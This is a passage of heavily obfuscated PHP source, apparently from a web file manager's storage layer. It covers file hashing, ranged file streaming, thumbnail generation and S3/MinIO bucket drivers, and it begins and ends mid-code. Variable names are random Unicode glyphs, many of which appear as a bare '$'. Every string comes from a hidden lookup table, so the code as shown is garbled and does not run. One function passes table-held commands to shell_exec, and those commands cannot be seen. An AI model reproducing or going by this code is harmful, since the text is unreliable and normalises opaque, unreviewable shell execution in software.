return $—[12]; } return substr($žˇ, 0, $ + 1); } public function hashSimple($Н) { $̛ =& $_SERVER[ϋ]; if (!$Н) { return md5($̛[12]); } $޼ = $this->size($Н); $ = 200; $ = 50; if ($޼ <= $ * $) { return $this->hashMd5($Н) . $޼; } $ = intval($޼ / $); $㣏 = $̛[12]; for ($⼋ = 0; $⼋ < $; $⼋++) { $㣏 .= $this->fileSubstr($Н, $ * $⼋, $); } $㣏 .= $this->fileSubstr($Н, $޼ - $, $); return md5($㣏) . $޼; } public static $md5Cache = array(); public function hashMd5($ݪ) { if (!$ݪ) { return md5($_SERVER[ϋ][12]); } $ݪ = $this->iconvSystem($ݪ); if (isset(self::$md5Cache[$ݪ])) { return self::$md5Cache[$ݪ]; } self::$md5Cache[$ݪ] = $this->hashMd5Shell($ݪ); if (!self::$md5Cache[$ݪ]) { self::$md5Cache[$ݪ] = @md5_file($ݪ); } return self::$md5Cache[$ݪ]; } private function hashMd5Shell($) { $ =& $_SERVER[ϋ]; if (!$) { return md5($[12]); } if (!function_exists($[101])) { return !1; } $ڱ֡ = array($[102], $[103]); $ = Cache::get($[104]); if (!$) { $׹̈ = BASIC_PATH . $[105]; $ּ = md5_file($׹̈); $ = $[106]; foreach ($ڱ֡ as $) { $  = shell_exec($ . "\40\42{$׹̈}\x22"); if ($  && substr(trim($ ), 0, 32) == $ּ) { $ = $; break; } } Cache::set($[104], $, 3600); } if ($ == $[106]) { return !1; } $  = shell_exec($ . "\40\42{$}\42"); $  = str_replace($[107], $[12], $ ); return substr($ , 0, 32); } public function link($〕ϯ) { return $〕ϯ; } public function fileOut($ޱ, $딦 = false, $߯ = false, $⡛ = '') { $͊ =& $_SERVER[ϋ]; $this->cacheMethod(null, null); if (!$ޱ || !$this->exist($ޱ)) { show_json(LNG($͊[108]), !1, $߯); } $ = $this->getType() == $͊[109]; $ = $GLOBALS[$͊[6]][$͊[92]][$͊[110]][$͊[111]]; $ߠē = (double) $GLOBALS[$͊[6]][$͊[92]][$͊[110]][$͊[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ʟΥ = $this->infoFull($ޱ); $ВǕ = $ʟΥ[$͊[79]]; $ = gmdate($͊[113], $ʟΥ[$͊[88]]); $蠩 = $߯ ? $߯ : $this->iconvApp($ʟΥ[$͊[32]]); $ = 0; $ = $ВǕ - 1; $ = $this->ext($蠩); if (in_array($, array($͊[114], $͊[115], $͊[116], $͊[117]))) { $ = $͊[118]; } if (in_array($, array($͊[119]))) { $ = $͊[120]; } if (!$⡛) { $⡛ = md5($ . $ВǕ); } $⡛ = $͊[121] . $⡛ . $͊[121]; $ = get_file_mime($); $ү = !0; $ү = isset($_GET[$͊[122]]) ? !1 : !0; if ($딦 === !1 && !mime_support($)) { $ = $͊[123]; } header($͊[124]); header($͊[125] . $); $ð˟ = rawurlencode($蠩); $ð˟ = $͊[121] . $ð˟ . $͊[126] . $ð˟; if ($딦) { header($͊[127]); header($͊[128] . $ð˟); } else { if ($ү) { header($͊[129] . $ð˟); } } header($͊[130] . gmdate($͊[113], time() + 3600 * 24 * 30) . $͊[131]); header($͊[132]); header($͊[133]); header($͊[134]); if (isset($_SERVER[$͊[135]]) && strtotime($_SERVER[$͊[135]]) == $ʟΥ[$͊[88]]) { header($͊[136], !0, 304); die; } if (isset($_SERVER[$͊[137]]) && $_SERVER[$͊[137]] == $⡛) { header($͊[138] . $⡛, !0, 304); die; } header($͊[138] . $⡛); header($͊[139] . $ . $͊[131]); header($͊[140] . $蠩); header($͊[141]); header($͊[142] . $ВǕ); header($͊[143]); Hook::trigger($͊[144], $ޱ, $ВǕ, $蠩, $); if (!$딦 && $ == $͊[145]) { if ($ВǕ > 1024 * 1024 * 5) { die; } $諧Ā = $this->getContent($ޱ); $諧Ā = Html::clearSVG($諧Ā); header($͊[146] . strlen($諧Ā)); echo $諧Ā; die; } $Є = strtolower($_SERVER[$͊[147]]); if ($ && $Є && $) { if (strstr($Є, $͊[148])) { header($͊[149] . $ޱ); } else { if (strstr($Є, $͊[150])) { header($͊[151] . $ޱ); } else { if (strstr($Є, $͊[152])) { header($͊[153] . $ޱ); } } } if ($ߠē) { header($͊[154] . $ߠē); } return; } if (isset($_SERVER[$͊[155]])) { if (preg_match($͊[156], $_SERVER[$͊[155]], $)) { $ = intval($[1]); $ = $ <= 0 ? 0 : ($ >= $ ? $ : $); if (!empty($[2])) { $ = intval($[2]); $ = $ < $ ? $ : ($ >= $ ? $ : $); } } header($͊[157]); header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\x52\x61\x6e\x67\x65\72\40\142\171\164\x65\163\40{$}\x2d{$}\57" . $ВǕ); } else { header($͊[158]); } header($͊[159]); $Ȫ = !0; if ($_SERVER[$͊[160]] == $͊[161] && $ВǕ > 1204 * 1024 * 1024 * 2) { $Ȫ = !1; } if ($Ȫ) { header($͊[162] . ($ - $ + 1)); } if ($_SERVER[$͊[163]] == $͊[164]) { return; } $Ǽ = 1024 * 100; $䕕 = 0; if ($ߠē) { $䕕 = intval(1000 * 1000 * ($Ǽ / $ߠē)); } while ($ <= $) { $ = timeFloat(); check_abort(); $؊ = $ - $ + 1; if ($؊ <= $Ǽ) { $Ǽ = $؊; } echo $this->fileSubstr($ޱ, $, $Ǽ); $ += $Ǽ; if ($Ǽ == $؊) { $ = $ + 1; } if ($䕕) { $ = intval(1000 * 1000 * (timeFloat() - $)); $߯󁫵 = $䕕 - $; if ($߯󁫵 > 5) { usleep($߯󁫵); } } } } public function fileOutServer($˓Η, $ = false, $䮳 = false, $΢ = '') { $this->fileOut($˓Η, $, $䮳, $΢); } public function fileOutLink($窖) { header($_SERVER[ϋ][165] . $窖); die; } public function cacheMethod($Гͱ, $Ƽό, $Δ = null) { $ =& $_SERVER[ϋ]; static $ֵ = array(); $ = $Ƽό ? ltrim($this->getPathOuter($Ƽό), $[8]) : $[12]; $ƫʜ = $[166] . $Гͱ . $[167] . rtrim($, $[8]); if (is_null($Гͱ)) { $ֵ = array(); return; } if (is_null($Ƽό)) { foreach ($ֵ as $ƫʜ => $͉) { if (!strstr($ƫʜ, $[166] . $Гͱ . $[168])) { continue; } unset($ֵ[$ƫʜ]); } return; } if (!is_null($Δ)) { $ֵ[$ƫʜ] = $Δ; return; } $ = isset($ֵ[$ƫʜ]) ? $ֵ[$ƫʜ] : null; if (!is_null($)) { return $; } $ = $this->{$Гͱ}($Ƽό); $ֵ[$ƫʜ] = $; return $; } public function cacheMethodInfoSet($ϵ, $Ƽ, $˔ = false) { $ =& $_SERVER[ϋ]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[169], $ϵ, $Ƽ); $this->cacheMethod($[170], $ϵ, $Ƽ ? !1 : !0); if (is_array($˔)) { $this->cacheMethod($[171], $ϵ, $˔); } } public function fileOutImage($䜽ԡ, $ϑʤ = 250) { $Ί =& $_SERVER[ϋ]; set_timeout(); if (substr($䜽ԡ, 0, 4) == $Ί[152]) { $this->fileOutLink($䜽ԡ); } $Ă = $this->info($䜽ԡ); $΁ = !1; $י = isset($GLOBALS[$Ί[172]]) ? $GLOBALS[$Ί[172]] : array(); if ($י && $י[$Ί[173]] == $Ă[$Ί[87]]) { $Ă = $י; $” = $Ă[$Ί[174]]; if ($” && isset($”[$Ί[175]])) { if ($”[$Ί[175]] <= $ϑʤ && $”[$Ί[176]] <= $ϑʤ) { $΁ = !0; } } } if ($Ă[$Ί[79]] <= 1024 * 50 || $΁ || !function_exists($Ί[177]) || $Ă[$Ί[178]] == $Ί[179]) { return $this->fileOut($䜽ԡ, !1, $Ă[$Ί[32]]); } $ӥۡ = kodIO::hashPath($Ă); $ = "\143\157\x76\145\x72\x5f{$ӥۡ}\137{$ϑʤ}\56\160\156\147"; $ȡ = IO_PATH_SYSTEM_TEMP . $Ί[180]; $ǃǖ = IO::infoFullSimple($ȡ); $ = $ǃǖ && is_array($ǃǖ) ? $ǃǖ[$Ί[87]] : $Ί[12]; if (!$) { $ = IO::mkdir($ȡ); } if ($Ă[$Ί[181]] == $Ί[182] && isset($Ă[$Ί[183]]) && $Ă[$Ί[183]] == kodIO::sourceID($)) { $© = $Ă[$Ί[184]]; if ($ϑʤ <= 500) { $Ő = preg_replace($Ί[185], $Ί[186], $Ă[$Ί[32]]); $© = IO::fileNameExist($, $Ő); } return IO::fileOut(KodIO::make($©), !1, $Ă[$Ί[32]]); } $ϧӒ = IO::fileNameExist($, $); if ($ϧӒ) { return IO::fileOut(KodIO::make($ϧӒ), !1, $Ă[$Ί[32]]); } if ($ϑʤ > 1000) { $this->makeImageCover($, $䜽ԡ, $, $ϑʤ); $this->makeImageCover($, $䜽ԡ, "\143\157\166\x65\162\x5f{$ӥۡ}\x5f\x32\65\x30\x2e\160\156\147", 250); $ϧӒ = IO::fileNameExist($, $); if ($ϧӒ) { return IO::fileOut(KodIO::make($ϧӒ), !1, $Ă[$Ί[32]]); } die; } $ = Cache::get($); if ($ == $Ί[187] || $ == $Ί[188]) { echo $; die; } Cache::set($, $Ί[188], 60); $݆ = array($, $Ă[$Ί[87]], $, $ϑʤ); $ = $Ί[189] . $Ă[$Ί[79]] . $Ί[190] . $ . $Ί[191] . $Ă[$Ί[32]] . $Ί[192] . $Ă[$Ί[87]]; TaskQueue::add($Ί[193], $݆, $, $); } public function makeImageCover($ޯ, $, $ၸȟ, $މ) { $ =& $_SERVER[ϋ]; if (IO::fileNameExist($ޯ, $ၸȟ)) { return $[194]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = DATA_THUMB . $ၸȟ; del_file($); $֞ = TEMP_FILES . $ၸȟ; if (!@file_exists($֞)) { $֞ = $this->download($, $֞); } if (!@file_exists($֞)) { return $[195]; } ImageThumb::createThumb($֞, $, $މ, $މ * 10); if (@file_exists($)) { Cache::remove($ၸȟ); return IO::move($, $ޯ); } Cache::set($ၸȟ, $[187], 600); del_file($); return $[196] . $֞ . $[74]; } public function fileOutImageServer($, $ܮ = 250) { $this->fileOutImage($, $ܮ); } public function fileNameAuto($, $݃, $Ŀ = REPEAT_RENAME, $鶬 = false) { $ =& $_SERVER[ϋ]; $ܥҴ = $ === $[12] ? $݃ : rtrim($, $[8]) . $[8] . $݃; if ($Ŀ == REPEAT_REPLACE || !$this->exist($ܥҴ) || $鶬 && $Ŀ != REPEAT_RENAME_FOLDER) { return $݃; } if ($Ŀ == REPEAT_SKIP) { return !1; } $ť = $[10] . get_path_ext($݃); $ť = $ť == $[10] || $鶬 ? $[12] : $ť; $ = 1; $Ԁ = substr($݃, 0, strlen($݃) - strlen($ť)); $ = $Ԁ . "\50{$}\51{$ť}"; while ($this->exist(rtrim($, $[8]) . $[8] . $)) { $ = $Ԁ . "\50{$}\51{$ť}"; $++; } return $; } private function fileNameAutoList($, $, $Ӷ = false) { $ =& $_SERVER[ϋ]; $ = $this->listPath($, !0); $ = array_merge($[$[85]], $[$[86]]); $֗ = array_to_keyvalue($, $[12], $[32]); $Ҁټ = $[10] . get_path_ext($); $Ҁټ = $Ҁټ == $[10] || $Ӷ ? $[12] : $Ҁټ; $ = substr($, 0, strlen($) - strlen($Ҁټ)); $ƃ = $ . "\50\60\x29{$Ҁټ}"; for ($ߜ˓ = 1; $ߜ˓ <= count($֗) + 1; $ߜ˓++) { $ƃ = $ . "\50{$ߜ˓}\51{$Ҁټ}"; if (!in_array_not_case($ƃ, $֗)) { return $ƃ; } } return $ƃ; } public function listAllFiles($ũ, $) { $ؕȫ =& $_SERVER[ϋ]; if (empty($)) { return array(); } $ = array_keys($); $񤟹 = array(); $ũ = trim($ũ, $ؕȫ[8]); foreach ($ as $ => $) { $ = ltrim(substr(trim($, $ؕȫ[8]), strlen($ũ)), $ؕȫ[8]); if (substr($, -1) == $ؕȫ[8]) { $ = rtrim($, $ؕȫ[8]) . $ؕȫ[8]; } $񤟹 = array_merge($񤟹, $this->slicePath($)); } $ = array(); foreach (array_unique($񤟹) as $ط) { $յ = array($ؕȫ[87] => $this->getPathOuter($ؕȫ[8] . $ũ . $ؕȫ[8] . $ط), $ؕȫ[78] => 1, $ؕȫ[79] => 0); if (substr($ط, -1) != $ؕȫ[8]) { $յ[$ؕȫ[78]] = 0; $ = $this->getPath($ũ . $ؕȫ[8] . $ط); if (isset($[$])) { $ = $[$]; if (isset($[$ؕȫ[79]])) { $յ[$ؕȫ[79]] = intval($[$ؕȫ[79]]); } if (isset($[$ؕȫ[197]])) { $յ[$ؕȫ[88]] = intval($[$ؕȫ[197]]); } } } $[] = $յ; } return $; } public function slicePath($݀ͫ) { $ =& $_SERVER[ϋ]; $̴ = explode($[8], trim($݀ͫ, $[8])); $񸦒 = 0; do { ++$񸦒; $[] = implode($[8], array_slice($̴, 0, $񸦒)) . $[8]; } while ($񸦒 < count($̴)); $[count($̴) - 1] = $݀ͫ; return $; } public function getHost() { $ =& $_SERVER[ϋ]; $лэ = parse_url(trim($this->domain, $[8])); $à = isset($лэ[$[198]]) ? $лэ[$[198]] : http_type(); $̔ρ = isset($лэ[$[199]]) ? $лэ[$[199]] : $лэ[$[87]]; if (isset($лэ[$[200]])) { $̔ρ .= $[4] . $лэ[$[200]]; } return $à . $[201] . $̔ρ; } public function pathEncode($ٴ) { $ȱ =& $_SERVER[ϋ]; return str_replace($ȱ[202], $ȱ[8], rawurlencode($ٴ)); } public function writeLog($޴ = '', $Ƒ = false) { $䭘 =& $_SERVER[ϋ]; $֑ = in_array(ACTION, array($䭘[203], $䭘[204])); if (!$֑ && !GLOBAL_DEBUG) { return; } $ެ = $޴; static $۪ƨ = null; if (!$۪ƨ) { $۪ƨ = strtoupper($this->getType()); } $޴ = $۪ƨ . $䭘[205] . $޴; if ($Ƒ) { $ʎ = error_get_last(); if ($ʎ) { $޴ = array($޴, $ʎ); } } write_log($޴, $䭘[206]); if ($֑) { throw new Exception($ެ); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($將) { set_timeout(); require_once SDK_DIR . $_SERVER[ϋ][207]; parent::__construct(); $this->_init($將); } public function _init($υ) { $ =& $_SERVER[ϋ]; $this->config = $υ; foreach ($υ as $ǜ => $ᇧ) { if (isset($this->{$ǜ})) { $this->{$ǜ} = $ᇧ; } } $this->endpoint = $υ[$[208]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($[203], $[204]))) { $this->client->setExceptions(); } } public function setSignVersion($ = "\166\64") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $) { return null; } } public function isBucketCors() { $ =& $_SERVER[ϋ]; $ųА = $this->getBucketCors(); if (!$ųА || !is_array($ųА)) { return !1; } if (!is_array($ųА[$[209]])) { $ųА[$[209]] = explode($[50], $ųА[$[209]]); } if ($ųА[$[210]] != $[211] || !in_array($[211], $ųА[$[209]])) { return !1; } $ = array_map($[212], $ųА[$[213]]); if (!is_array($)) { $ = array(); } $ = array($[214], $[215], $[216], $[217], $[218]); $ = array_diff($, $); return empty($); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($, $륧 = '', $ = REPEAT_RENAME) { $ǮД = $this->setContent($, $륧); if ($ǮД !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($ܿ, $ = REPEAT_SKIP) { $ =& $_SERVER[ϋ]; if (empty($ܿ) && $ܿ !== $[219]) { return !1; } if ($ && $this->_isFolder($ܿ)) { return $this->getPathOuter($ܿ); } $ = $this->setContent($ܿ, $[12], !0); if ($ !== !1) { return $this->getPathOuter($ܿ); } return !1; } public function copyFile($, $, $ڳ = array()) { $ =& $_SERVER[ϋ]; $ = $this->objectMeta($); if (!$) { return !1; } if ($[$[79]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $, $this->bucket, $, $[220], $ڳ); } else { $ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $, $ڳ); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($ʫ, $ف) { if ($this->copyFile($ʫ, $ف)) { $this->delFile($ʫ); return $this->getPathOuter($ف); } return !1; } public function delFile($ج) { return $this->client->deleteObject($this->bucket, $ج); } public function delFolder($) { $Οψ =& $_SERVER[ϋ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ά = $this->fileList($); $this->listItemCache = !0; $ = trim($, $Οψ[8]) . $Οψ[8]; if (!empty($) && $ !== $Οψ[219] && !in_array($, $ά[$Οψ[85]])) { $ά[$Οψ[85]][] = $; } $Ҽ = $this->delByBatch($ά[$Οψ[86]]); if (!$Ҽ) { return !1; } $Ҽ = $this->delByBatch($ά[$Οψ[85]]); if (!$Ҽ) { return !1; } return $this->delFile($); } private function delByBatch($ݕԒ) { foreach (array_chunk($ݕԒ, 1000) as $ɖ) { $ = $this->client->deleteObjects($this->bucket, $ɖ); if (!$) { return !1; } } return !0; } public function rename($ן, $ˀ) { return $this->renameObject($ן, $ˀ); } public function listPath($ٗ, $Ĩ = false) { $޾ =& $_SERVER[ϋ]; $͢ = $this->fileList($ٗ, $޾[8], !0); foreach ($͢[$޾[85]] as $Ӱܯ => $û) { $͢[$޾[85]][$Ӱܯ] = $this->folderInfo($û, $Ĩ, $û); } foreach ($͢[$޾[86]] as $Ӱܯ => $û) { $͢[$޾[86]][$Ӱܯ] = $this->fileInfo($û[$޾[32]], $Ĩ, $û); } return $͢; } protected function infoChildren($Ѻ, &$) { $ٜ =& $_SERVER[ϋ]; $ = $this->fileList($Ѻ, $ٜ[12], !0); $[$ٜ[81]] += count($[$ٜ[85]]); $[$ٜ[80]] += count($[$ٜ[86]]); foreach ($[$ٜ[86]] as $ӷ) { if (!$ӷ || !$ӷ[$ٜ[79]]) { continue; } $[$ٜ[79]] += $ӷ[$ٜ[79]]; } } private function fileInfo($ր, $ = false, $ƞ = array()) { $ =& $_SERVER[ϋ]; $ = array($[32] => $this->pathThis($ր), $[87] => $this->getPathOuter($ր), $[33] => $[221], $[178] => $this->ext($ր), $[79] => isset($ƞ[$[79]]) ? $ƞ[$[79]] : 0); if ($) { return $; } $[$[222]] = $[$[88]] = 0; $[$[223]] = $[$[224]] = !0; if (empty($ƞ)) { $ƞ = $this->objectMeta($ր); if (!$ƞ) { return $; } } if (isset($ƞ[$[225]]) && $ƞ[$[225]]) { $[$[226]] = $ƞ[$[225]]; } if (isset($ƞ[$[197]])) { $[$[88]] = $ƞ[$[197]]; } if (isset($ƞ[$[79]])) { $[$[79]] = $ƞ[$[79]]; } return $; } private function folderInfo($, $״ = false, $ˠ = array()) { $ =& $_SERVER[ϋ]; $љ٧ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($״) { return $љ٧; } $љ٧[$[222]] = $љ٧[$[88]] = 0; $љ٧[$[223]] = $љ٧[$[224]] = !0; if ($ == $[12]) { return $љ٧; } if (empty($ˠ)) { $ˠ = $this->objectMeta(trim($, $[8]) . $[8]); } if (isset($ˠ[$[197]])) { $љ٧[$[222]] = $ˠ[$[197]]; } return $љ٧; } private function fileList($ԅ͇, $縳 = '', $̅ = 0) { $ =& $_SERVER[ϋ]; $ = rtrim($ԅ͇, $[8]) . $[8]; $ = $this->listObjs($, null, null, $縳); if (!$) { return array($[85] => array(), $[86] => array()); } $ = $ǟ = array(); foreach ($[$[227]] as $ْ) { $ = $ْ[$[32]]; if ($ == $) { continue; } $ = isset($ْ[$[79]]) ? $ْ[$[79]] : 0; $֏ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $֏, $ْ); if ($֏) { $[] = $; continue; } $ǟ[] = $̅ ? $ْ : $; } foreach ($[$[228]] as $ْ) { $[] = $ْ[$[32]]; $this->cacheMethodInfoSet($ْ[$[32]], !0); } $this->cacheMethodInfoSet($ԅ͇, !0); return array($[85] => $, $[86] => $ǟ); } private function listObjs($̹, $ = null, $ݲխ = null, $䏼Ʀ = null) { $ϓ =& $_SERVER[ϋ]; $̹ = trim($̹, $ϓ[8]); $ = empty($̹) && $̹ !== $ϓ[219] ? $ϓ[12] : $̹ . $ϓ[8]; return $this->client->getBucket($this->bucket, $, $, $ݲխ, $䏼Ʀ, !0); } public function has($͡, $Ӧ = false, $ = true) { $Ӱ =& $_SERVER[ϋ]; $͡ = trim($͡, $Ӱ[8]); $瓉 = empty($͡) && $͡ !== $Ӱ[219] ? $Ӱ[12] : $͡ . $Ӱ[8]; $ = null; $ = 500; $ځ = $Ӱ[8]; $̪ = $ = array(); while (!0) { $ = $this->listObjs($͡, $, $, $ځ); if (!$) { break; } $ = $[$Ӱ[229]]; $ = $[$Ӱ[227]]; $̅ = $[$Ӱ[228]]; if (empty($) && empty($̅)) { break; } if (count($) == 1 && $[0][$Ӱ[32]] == $瓉) { break; } if ($Ӧ) { if (count($)) { $ = array_column($, $Ӱ[32]); $̪ = array_merge($̪, $); } if (count($̅)) { $̅ = array_column($̅, $Ӱ[32]); $ = array_merge($, $̅); } if ($ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$Ӱ[32]]) && $[0][$Ӱ[32]] != $瓉) { return !0; } } } else { if (!empty($̅)) { return !0; } } if ($ === null) { break; } } if ($Ӧ) { $̪ = array_diff($̪, array($瓉)); $̪ = count(array_unique($̪)); $ = count(array_unique($)); return array($Ӱ[230] => $̪, $Ӱ[231] => $); } return !1; } public function listAll($ۣ) { $ā =& $_SERVER[ϋ]; $Ý = $this->fileList($ۣ, $ā[12], !0); $ = array_to_keyvalue($Ý[$ā[86]], $ā[32]); foreach ($Ý[$ā[85]] as $) { if (is_string($)) { $[$] = array($ā[79] => 0); } } return $this->listAllFiles($ۣ, $); } public function canRead($챬) { $؜ =& $_SERVER[ϋ]; $ = $this->client->getAccessControlPolicy($this->bucket, $챬); if (!$) { return !1; } return in_array($, array($؜[232], $؜[233], $؜[234])) ? !0 : !1; } public function canWrite($ͦ) { $Dž =& $_SERVER[ϋ]; $Ѓ = $this->client->getAccessControlPolicy($this->bucket, $ͦ); if (!$Ѓ) { return !1; } return in_array($Ѓ, array($Dž[232], $Dž[233])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($曪, $“ = '', $懦 = false) { $ =& $_SERVER[ϋ]; $曪 = $懦 ? trim($曪, $[8]) . $[8] : $曪; $雂 = get_file_mime(get_path_ext($曪)); $۱ = $this->client->putObject($“, $this->bucket, $曪, $[220], array(), $雂); if (!$۱) { return !1; } if ($懦) { return !0; } return $۱ ? !0 : !1; } public function fileSubstr($, $ʁ, $) { $ڝ = $ʁ + $ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[ϋ][235] => "\142\x79\164\x65\x73\75{$ʁ}\55{$ڝ}")); } public function upload($ԫ, $ϓ, $ڿ = false, $× = REPEAT_REPLACE) { $ʩފۈ =& $_SERVER[ϋ]; $Ζ = array($ʩފۈ[236] => @md5_file($ϓ)); $¶ = array($ʩފۈ[237] => get_file_mime(get_path_ext($ԫ))); if (IO::size($ϓ) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($ϓ, $this->bucket, $ԫ, $ʩފۈ[220], $Ζ, $¶); return !empty($) ? $this->getPathOuter($ԫ) : !1; } $˹ = $this->client->multiUploadObject($ϓ, $this->bucket, trim($ԫ, $ʩފۈ[8]), $Ζ, $¶); return $˹ ? $this->getPathOuter($ԫ) : !1; } public function download($, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ = $this->client->getObject($this->bucket, $, array(), $); return $ !== !1 ? $ : !1; } public function link($ɢ, $օ = array()) { $䔟 =& $_SERVER[ϋ]; if ($this->signVer == $䔟[238]) { return $this->client->getAuthenticatedURL($this->bucket, $ɢ, 3600 * 12, $օ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($ɢ, $䔟[8]), 3600 * 12, $this->region, array(), !0, $օ); } public function fileOut($, $׌ = false, $Î = false, $× = '') { $ށ =& $_SERVER[ϋ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $׌, $Î, $×); } if (!$Î) { $Î = $this->pathThis($); } $ = get_file_mime(get_path_ext($Î)); if ($ == $ށ[239]) { return parent::fileOut($, $׌, $Î, $×); } $̍ = array($ށ[240] => $); if ($׌) { $̍[$ށ[241]] = $ށ[242] . rawurlencode($Î); } else { } $틚 = $this->link($, $̍); $this->fileOutLink($틚); } public function fileOutServer($Ӡ؛, $І = false, $ҧ = false, $ = '') { parent::fileOut($Ӡ؛, $І, $ҧ, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($㠄Ŧ, $ = '') { $ = $this->objectMeta($㠄Ŧ); if (!$) { return !1; } $ = $ ? $ : _get($, $_SERVER[ϋ][243]); return $; } public function uploadFormData($ˏð, $񪼧˨ = 3600) { $ =& $_SERVER[ϋ]; $Éͼ = $this->pathFather($ˏð); $ = $this->client->getHttpUploadPostParams($this->bucket, $Éͼ, $[220], $񪼧˨); return array_merge((array) $, array($[199] => $this->getHost())); } public function multiUploadFormData($Ė⯬, $ˈ = 3600) { $尵ɮ =& $_SERVER[ϋ]; $ = gmdate($尵ɮ[244]); $ = array(); $ = $this->client->getUploadId($this->bucket, $Ė⯬, $); if (!$) { return !1; } return array($尵ɮ[245] => $, $尵ɮ[199] => $this->getHost() . $尵ɮ[8] . $this->pathEncode($Ė⯬), $尵ɮ[246] => $, $尵ɮ[97] => $Ė⯬); } public function multiUploadAuthData($ʰ, $ߝ = array()) { $ =& $_SERVER[ϋ]; $ǪՌ = isset($ߝ[$[246]]) ? $ߝ[$[246]] : gmdate($[244]); $ę = isset($ߝ[$[178]]) ? $ߝ[$[178]] : $[12]; $́ = $ߝ[$[97]]; unset($ߝ[$[97]]); if (isset($ߝ[$[247]])) { $ߝ[$[246]] = $ǪՌ; return $this->listUploadParts($́, $ߝ); } $Ȍ = array($[248], $[12], $[123], $[12], "\x78\55\141\155\172\x2d\144\x61\x74\x65\72{$ǪՌ}", $[8] . $this->bucket . $[8] . $this->pathEncode($́) . $ę); if (strpos($ę, $[249]) === 0) { $Ȍ[0] = $[250]; } if (isset($ߝ[$[251]]) && $ߝ[$[251]] == $[252]) { $Ȍ[0] = $[252]; } $ę = implode($[253], $Ȍ); $ = base64_encode(hash_hmac($[254], $ę, $this->secret, !0)); $ = $[255] . $this->accessKey . $[4] . $; if (strpos($ę, $[249]) === 0) { return array($[256] => $, $[246] => $ǪՌ); } return $; } public function listUploadParts($, $ɤܣ = array()) { $˿ =& $_SERVER[ϋ]; $͓ = str_replace($˿[257], $˿[12], $ɤܣ[$˿[178]]); $ސ = $this->client->listParts($this->bucket, $, $͓); if (!$ސ) { return !1; } unset($ɤܣ[$˿[247]], $ɤܣ[$˿[251]]); $ɤܣ[$˿[97]] = $; $ = $this->multiUploadAuthData($, $ɤܣ); if (empty($)) { return !1; } return array($˿[256] => $, $˿[246] => $ɤܣ[$˿[246]], $˿[258] => $ސ); } public function getHost() { $坵 =& $_SERVER[ϋ]; $׌ = parent::getHost(); if (!$this->osType) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($坵[70], $坵[64], $坵[69], $坵[62]))) { return $׌ . $坵[8] . $this->bucket; } $׌ = explode($坵[201], $׌); return $׌[0] . $坵[201] . $this->bucket . $坵[10] . $׌[1]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[ϋ][79]] : 0; } public function info($ͷ) { if ($this->isFolder($ͷ)) { return $this->folderInfo($ͷ); } else { if ($this->isFile($ͷ)) { return $this->fileInfo($ͷ); } } return !1; } public function exist($Ɖ) { return $this->isFile($Ɖ) || $this->isFolder($Ɖ); } public function isFile($ù) { return !$this->isFolder($ù) && $this->objectMeta($ù); } public function isFolder($) { return $this->cacheMethod($_SERVER[ϋ][169], $); } protected function objectMeta($Ӥ) { return $this->cacheMethod($_SERVER[ϋ][171], $Ӥ); } protected function _objectMeta($) { $Ń =& $_SERVER[ϋ]; $ = rtrim($, $Ń[8]); try { $‹ = $this->client->getObjectInfo($this->bucket, $); if (!isset($‹[$Ń[243]]) && isset($‹[$Ń[259]])) { $‹[$Ń[243]] = $‹[$Ń[259]]; } } catch (Exception $տ) { $‹ = !1; } if (!$‹) { } return $‹; } protected function _isFolder($Ɠ) { $ =& $_SERVER[ϋ]; $Ɠ = rtrim($Ɠ, $[8]); if ($Ɠ == $[12] || $Ɠ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $Ɠ, null, 1); if (empty($[$[227]])) { return !1; } $🔸 = $[$[227]][0][$[32]]; return stripos($🔸, $Ɠ . $[8]) === 0 ? !0 : !1; if (substr($🔸, -1) == $[8]) { return !0; } if (get_path_this($🔸) == get_path_this($Ɠ)) { return !1; } return !0; } public function listObject($) { return $this->fileList($, $_SERVER[ϋ][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($Ҙ) { $ƣئ =& $_SERVER[ϋ]; parent::__construct($Ҙ); $this->setSignVersion($ƣئ[238]); if (!$this->region) { $this->region = $ƣئ[260]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ = $this->getBucketRgn(); return $this->region == $ ? !0 : !1; } public function 